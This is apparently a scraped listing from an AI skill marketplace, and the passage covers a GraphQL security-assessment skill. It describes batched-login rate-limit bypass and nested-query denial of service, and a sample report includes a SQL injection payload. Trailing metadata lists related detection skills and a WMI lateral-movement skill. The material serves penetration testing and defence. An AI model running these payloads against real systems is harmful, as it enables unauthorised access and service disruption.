Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n",{"cwe":57,"name":5,"tags":59,"capec":64,"model":50,"tools":65,"domain":45,"maxTurns":69,"nist_csf":70,"subdomain":40,"description":7,"mitre_attack":75},[58],"CWE-200",[60,61,37,38,62,63],"penetration-testing","graphql","web-security","introspection",[],[66,43,67,68],"Read","Glob","Grep",20,[71,72,73,74],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[76],"T1498","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fapi\u002Fgraphql\u002Fassessment\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill api-graphql-assessment-exploit",{"tool":90,"command":91},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill api-graphql-assessment-exploit",{"tool":93,"command":94},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill api-graphql-assessment-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fgraphql\u002Fassessment\u002Fexploit\u002FSKILL.md",true,[98],{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"index.json","REFERENCE","参考文档",689,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fgraphql\u002Fassessment\u002Fexploit\u002Findex.json",[105,128,148,169,190,204],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":52},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[112,113,114,115,116,47,46,117,118,119,120,121,122,123,124,125,126,45,127],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":52},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[34,112,135,115,136,137,138,45,43,139,140,141,142,143,47,144,145,44,146,147],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":149,"name":150,"nameZh":6,"description":151,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":152,"categories":153,"keywords":154,"publishedAt":52},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[155,156,157,158,159,160,45,43,161,139,162,163,47,44,164,165,166,167,168,50],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":175,"publishedAt":52},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[113,176,177,178,49,179,180,46,181,45,127,182,183,184,185,186,187,188,189,47],"processes token impersonate detect","token","processes","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":196,"publishedAt":52},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[197,198,113,41,178,179,199,46,200,181,45,127,139,32,201,202,203,189,47,117],"thread","processes thread injection detect","memory","process-injection","apc-injection","thread-injection","nt-api",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":210,"publishedAt":52},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[211,113,178,212,199,46,213,214,45,127,215,216,217,218,219,220,47,117,221,222],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]